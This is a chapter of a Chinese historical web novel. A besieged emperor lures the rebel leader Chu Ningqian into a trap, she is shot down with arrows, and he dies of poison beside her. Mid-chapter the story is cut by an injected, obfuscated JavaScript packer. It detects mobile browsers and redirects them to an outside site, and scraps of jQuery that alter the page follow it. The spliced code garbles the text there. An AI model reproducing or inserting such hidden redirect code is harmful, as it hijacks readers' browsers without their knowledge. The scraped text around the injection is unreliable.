108. 残阳

作品:《血玉碎璧

    南诏情形和楚章月死亡消息传过来的瞬间,楚宁倩只觉胸闷郁结头脑发胀,废了良久功夫才试着理解云蝶的话。


    “为什么——”


    她费了这么多功夫走到如今,怎么会是这种情况。


    楚宁倩站立不稳,一个踉跄险些摔到地上,


    云蝶连忙上前扶住她,声音依然哽咽难言,她跟了楚宁倩这么久,这是第一次看到她脸上出现这种堪称惊慌无措的神情,像是绷紧的弦全然断裂,情绪已然全线崩塌一般。


    “公子他其实……”她心下涩然,明知说出下面这番话后可能会惹得楚宁倩勃然大怒,还是开口道:“奴回去的时候,见过连乌和公子说些什么,当时不敢相信,以为是自己听错了,会不会,其实都是公子……”


    “不可能、不可能!”楚宁倩抬高声音,声线却有几分颤抖,她费力思忖着往日点滴,试图找出什么来否认她,否认那个荒唐的想法,可因为这些年她甚少回去,竟发觉近些年来并未和楚章月相处多少日子,她只是一直把他当作自己印象里的那个样子,以为他一直没有变。


    只是一厢情愿的以为只要自己不断往上走,掌握更多的权势,拥有更大的能力,他会一直在身后等着自己,她从未想过,或许弟弟早已不是记忆里的样子,早已和自己走上殊途。


    可真相太过撕裂,楚宁倩心底还是不愿接受:“他为什么这么做?他没理由这么做……”


    “公子自从腿断了之后,其实性子就跟以往不同了,有很多事圣主都不知道,公子也从不和圣主提,甚至连奴也会避开,其实他……早就变了,只是没想到会到如今这个境地。”


    “不可能,”楚宁倩撑着身子站起,“我们现在就回去,我要亲眼看看究竟是什么情况!”


    “已经晚了,”云蝶跪下哭着拉住她,“我们现在不能回去啊圣主……”


    “云蝶……为什么,我做了这么多,好不容易有了如今的成就,月儿他为什么要这么做?这么多年,只有他,只有他我无愧于心,可到头来竟都是笑话——”


    “圣主还有奴,奴愿誓死跟随圣主。”云蝶俯跪下去,复而起身扶起楚宁倩:“属下自幼跟随圣主,如今所得一切皆是您给我的,无论圣主最后的计划是什么,属下都愿随圣主最后一搏。”


    “最后……”楚宁倩眼底猩红,“好,既然这样,那就都别好过了!”


    *


    萧司临在江翊等人护卫下退回到颖地。


    一个内侍脚步匆匆进来,“陛下——”


    萧司临收回视线看向他,见他欲言又止,问:“什么事?”


    “五殿……”刚说出来就意识到不对,觉得现在这情况实在乱得很,那位如今是乱臣,怎好再称殿下,一时有些结舌,“就是京里那位——”


    萧司临摩梭着手中茶杯:“行了,还称殿下就是,他怎么了?”


    “是,是,京中传来急报,五殿下自刎了,江文如他们现在还在控制局势。”


    萧司临嗯了声,面上没什么表情,“去叫江翊进来。”


    内侍连声应下退出去。


    萧司临呼出口气,突然想到萧司珉最后对他说的话,他们这几个人,竟都得不了善终么。


    推门声响起,他收回思绪看向进来的江翊。


    “陛下。”


    萧司临点头,“就这两天,你迅速带着人回京吧。”


    “陛下何意?”江翊没听明白萧司临的话,或者说,不敢相信。


    “你没听错,你带人回京寻你妹妹吧,”萧司临顿了一下,接着道:“朕留在这。”


    江翊立时跪下,“不可,陛下这是什么话,臣怎能——”他话还未说完,就听萧司临语气平和道:“朕被流矢划伤了,箭上应是有毒。”


    此话一出,江翊登时滞住,空气一片死寂。


    萧司临回视着他,“是撤退的时候,不仅你不知道,除了朕贴身侍奉之人和大夫没人知道,这也是不想扰乱军心。”


    君臣沉默半晌,还是江翊再次开口:“那日,长公主殿下怎会被劫走?陛下一向是最谨慎不过的人。”


    听到他提起萧暄妍,萧司临面上终于有所松动,他眉心蹙起,握拳背过身来,“是朕的过失。妍儿如今这般,都是朕太过自负。”


    萧司临放楚宁倩出宫本是想看她到底要干什么,派人盯着她的一举一动,没想到出宫后却被拦下,更没想到京中竟有景国人是楚宁倩的人。


    “那中毒之事……”江翊踌躇询问。


    “自然是假。”萧司临不欲在这件事上多加言语:“自朕登基之后,景国祸乱不止,现如今容玢和你妹妹他们……罢,也算是天命吧,外敌尚未退去,妍儿还没回来,朕要留在这,这是朕应担的责任。”


    “臣身为陛下臣子,自当同陛下同进退。”


    萧司临:“你不懂,只有朕在这,她才会来。何况京中各方势力云集,只凭你妹妹只怕难以平定,何况她所求之事,不是只靠武力就能做到的,你当知道,这个时候是她最需要你的时候。何况……”


    萧司临犹豫片刻,终还是道:“朕才得到消息,萧司寒暗中射箭欲取江文如性命,最后有人替她挡下了这一箭,是江文晚,人是……前日晨时去的。”


    桌边的杯盏在怔愣下被江翊扫到下面,可他一时竟都无顾忌了。


    萧司临知他失态事出有因,并未多说什么,缓缓道:“所以回去吧,无论是了谁,为了什么,你都该回去了。”


    江翊沉默半晌,眸光飘散无定,再次开口声音已嘶哑沉闷:“臣不会走,无论陛下信与不信,臣既选择辅佐陛下为君,自会从一而终,尽臣者本分。”


    萧司临掀起眼睫:“可如今在京中的,是你妹妹。”


    “如今站在臣面前的,也是臣的君主。”


    萧司临点头,忽然有些蕴藉的问:“你说朕,是不是真的当不好一个皇帝,不然为何会走到如今这个境地。”


    江翊垂头不语,片刻后方欲说什么,便被萧司临笑着打断了,“罢,也罢,朕死后无论你怎么选都可以,只是朕想要你答应一件事。”


    江翊弯膝跪地,“陛下请说,臣万死不辞。”


    “现下妍儿生死不知,若是……你帮朕,照顾些她。在为人兄这一点上,朕不如你,不是个合格的兄长,待见到她后你代朕告诉她,先皇后的确葬在皇陵,但朕在溟燕山给她立了座庙,日后供奉,便让妍儿去那里吧,那是母后的选择,现如今走这一步,也是我的选择,是朕的选择。”


    “臣遵旨。”


    有个内侍没有通传便推门而入:“陛下!那南诏妖女攻过来了!她手下一人还带着长公主在外面叫喊,因为顾及殿下,我们的人都不敢轻举妄动,她、她们马上就要闯进来了!”


    萧司临神色平静:“江翊。”


    “臣在。”


    “你去拦住楚宁倩,这里有朕。”


    江翊猛地抬头:“还请让臣护送陛下先行撤离!”


    “不必了,她既分成两队,自己定然会带大部队攻过来,你留在这也是无益,现下抓住楚宁倩才是当务之急。”


    眼看江翊还要说什么,萧司临理着袖侧的龙纹,昂头背身往里走去:“朕意已决,这是圣旨。”


    *


    “你要干什么?你放开我!”萧暄妍奋力挣扎着,可双手却被人向后禁锢。


    “圣主,要不要把她的嘴堵住?”一人向后走几步,朝遮面之人询问。


    “让她喊,”原来楚宁倩和云蝶换了服饰,真正来到这里的人是楚宁倩,她从马上跳下来,“把人给我,准备攻进去!”


    “是!”


    出乎楚宁倩的意料,这一路竟然没遇到什么阻碍。


    “圣主,这是不是有诈?”旁边一人不由压着声音询问。


    楚宁倩心生狐疑,可走了这里已无路可退,她本就是最后一击。


    想到这,她将萧暄妍挡在身前:“我带她进去,其他人在外面守着。”


    说完后便往前走着,她一脚将门踹开,见到了一人身形森然背对而立,通身尊贵的气度让人难以忽略。


    “……皇兄。”


    萧暄妍忍不住喃喃出声。


    “你竟真敢留在这?为什么不和江翊一道回京,你明明还有机会。”楚宁倩问。


    “我若走了,你怎会来?”萧司临转过身来,“何况搭了这么久的戏台,若是没人来唱,这曲戏岂不是可惜了?”


    不到破釜沉舟之际,楚宁倩未必会兵行险着,要闹得鱼死网破。


    萧司临眼风扫过萧暄妍,“你既见到了我,何必还抓着她不放?公主殿下想来不是那等贪生惧死,畏首畏尾的人。”


    “你好胆识。”楚宁倩看着他,唇畔微微上扬,看不出穷途末路之象,说完后把萧暄妍向门外一推。


    外面霎时乱声迭起,门却被人从外关上。


    门里门外,被隔绝成了两个世界。


    门中二人却都淡定至极,眸光冷淡的直视着对方。


    不知过了多久,待外面动静微弱下去,楚宁倩才冷声开口:“我一直想不明白,我明明毫无破绽,为何你从一开始就认定我是装的?”


    萧司临面上终于有了笑意,他哼笑一声,“眼神。”


    “你演的很好,话说得更好,可一个人最难掩饰的便是眼中神情。一个穷途末路之人,眼里有的不是绝望和无措,也不是求生的渴望,而是欲望,深不见底的欲望。”


    “呵,欲望。”楚宁倩冷笑,玩味地咬着这两个字。


    “回头吧,”萧司临淡淡看着她,突然说道,“寸丈之下,青骨仍存,你行此悖逆之举,是为天道所不容。”


    “回头?笑话!所谓回头、所谓正道,都是他们自说自话的虚伪之言!而在我这里,我走的路就是我的正道,何来回头一说?”


    “寸丈之下,青骨仍存……”楚宁倩眼尾上扬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803477|139867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,唇畔是掩不住地笑意:“你不是有悲悯之心的人,一个冷心薄情的人说出这话当真谬极。”


    “我与你是一样的,我们这种人,本就不为世俗称道,不过我比你强,”楚宁倩挑眉,“你不认可自己,逐了世人的道,隐藏着自己龌龊阴暗的一面。可我不同,世上本没有绝对的对错,我一路至今,没有人把我的命当回事过,若是在不为自己打算,只怕日后连自己埋哪都不知道。”


    “人是会变的,何况有些事你不认,”萧司临伸手向上,“这也会让你认。正因为我们是一样的人,所以我才会在这个时候劝你,给自己留个体面的下场。”


    “原来是我看错了人,也选错了人。”楚宁倩后退一步,仿佛陷入某种回忆之中一般,难得显出些惘然颓唐之色:“我要的东西,那些口称大义的人也想要,怎么,善恶都由他们一人说了不成?!什么狗屁天道,我有我的道!他们不认,我就杀的他们认!”


    “我从来不想当什么善人,那些伤我辱我误我之人从未补偿过我,凭什么奢望我的怜悯?我一步步走到现在,所谓钱财、权势、地位,全都是我应得的!弱肉强食、强者为尊,这是这世道的规则,破的、烂的、暴戾的是这世道,是推崇这些规则的所有人!凭什么说我错了?!怎么,一句所谓的放下就想让我放过所有?荒唐,可笑!”


    萧司临掀眸:“你觉得是放过他们?我说的,是放过自己。”


    楚宁倩背过了身,一双媚眼雾气弥漫,让人看不透她的心绪:“萧司临,我们太像了。”


    她的笑声由低浅到痴狂,沙哑的嗓音染上无限的悲哀,“我们太像了……所以你懂么,就只能这样了,没有办法的。”


    “我不会后悔,从来都不会,胜者为王败者寇,走到这一步,我也无话可说,可如果再来一次,我也还是会如此,因为我就是不甘心。”


    “哈哈,萧司临,我成了那亡国之人,旁人茶桌棋盘上的闲谈笑料。而你,你的国又将如何呢?你若死在这,萧家也就彻底完了!若你妹妹活了下来,也成了那亡国之人,哈哈……我可真替你悲哀啊……”


    整个屋子都回荡着她凄厉放肆的笑声,光一照,楚宁倩的面上隐隐闪着光亮,“做戏的成了戏中人,唱曲儿的自己先成了悲音,哈哈,当真是可笑至极。”


    楚宁倩指尖扫过眼角,媚眼如丝的看着萧司临:“只是啊,你看不到这一幕了,你说我们两个,谁更可笑些?”


    萧司临看着面前女子形若疯癫的模样,眼里极快的闪过一丝挣扎,最后全都化作平和的一句:“我看不到,你也看不到了,楚宁倩,今日你出不去。”


    楚宁倩勾唇,剑尖指着他:“萧司临,你够狠,你早就知道我要来,你要杀我。”


    “你必须死。”


    楚宁倩冷笑一声,“你以为我当初没能给你下毒,今日你就能活了吗?”


    “不会。”


    “自然不会!”


    她身影有些不稳,踉踉跄跄地向前走了几步,看向萧司临的眼神复杂至极,随后猛地上前将手中之刃扎入萧司临肩侧,而后抽出。


    “……我给你最后的体面,”萧司临一把将她推开,身形晃动,但还是站在原地,开口的声音沙哑:“不让你死在乱刃之下,你自行了断吧。”


    “哈哈,体面?这种东西我何用你给?”他方才那句话才是对楚宁倩最大的羞辱,她一字一顿笑着说完,随后握刀转身,一脚踹开门杀了出去。


    几乎就是一瞬间,周围弓箭齐射,波乱雨点似的尽数朝楚宁倩飞去。


    万箭穿心。


    萧司临亲眼看着面前的场景,苍白的唇瓣轻启,而后不易察觉的抽动。


    这是他下的命令,一但她跨出门,即刻射杀。


    楚宁倩已经走不了了,箭却仍在射,那挺立的身影终于受不住的塌陷下去,像是破口的纸鸢一般,摇摇欲坠而后垂落而下。


    她最后撑着身子向萧司临的方向看了一眼,似乎笑了笑,然后整个人彻底颓下。


    萧司临只从这笑中看到了嘲讽。


    他几乎是缓慢的,一步一步从昏影走到光下,走到楚宁倩身旁,然后毫无预兆的,他一口鲜血喷了出来,周围侍卫惊恐交加,瞬间围了过来。


    萧司临的手颤抖着,但声音却异常平静,他叫了自己的近侍过来,吩咐其他人都退下。


    “陛下。”那近侍俯跪在地,不敢抬头。


    “让江翊回京,叫他不要忘记答应过朕的话,然后……”萧司临擦去嘴角的血迹,“你跟着他一道回去,去找宋明彦,把这里的消息全都告诉他,让他……好生决策。”


    他用最后一丝理智说着,最后眼前花白,再次吐出的竟是黑血,在西边的残阳下骤然坠地,倒在了楚宁倩一旁。


    天边一对飞鸟迅疾掠过,影子在屋顶一闪即没,寻觅无踪,只留下一道寂婉的叫声,彷佛被拖拽拉长的调子,回荡在这最喧哗也最寂静的寥寥尘世。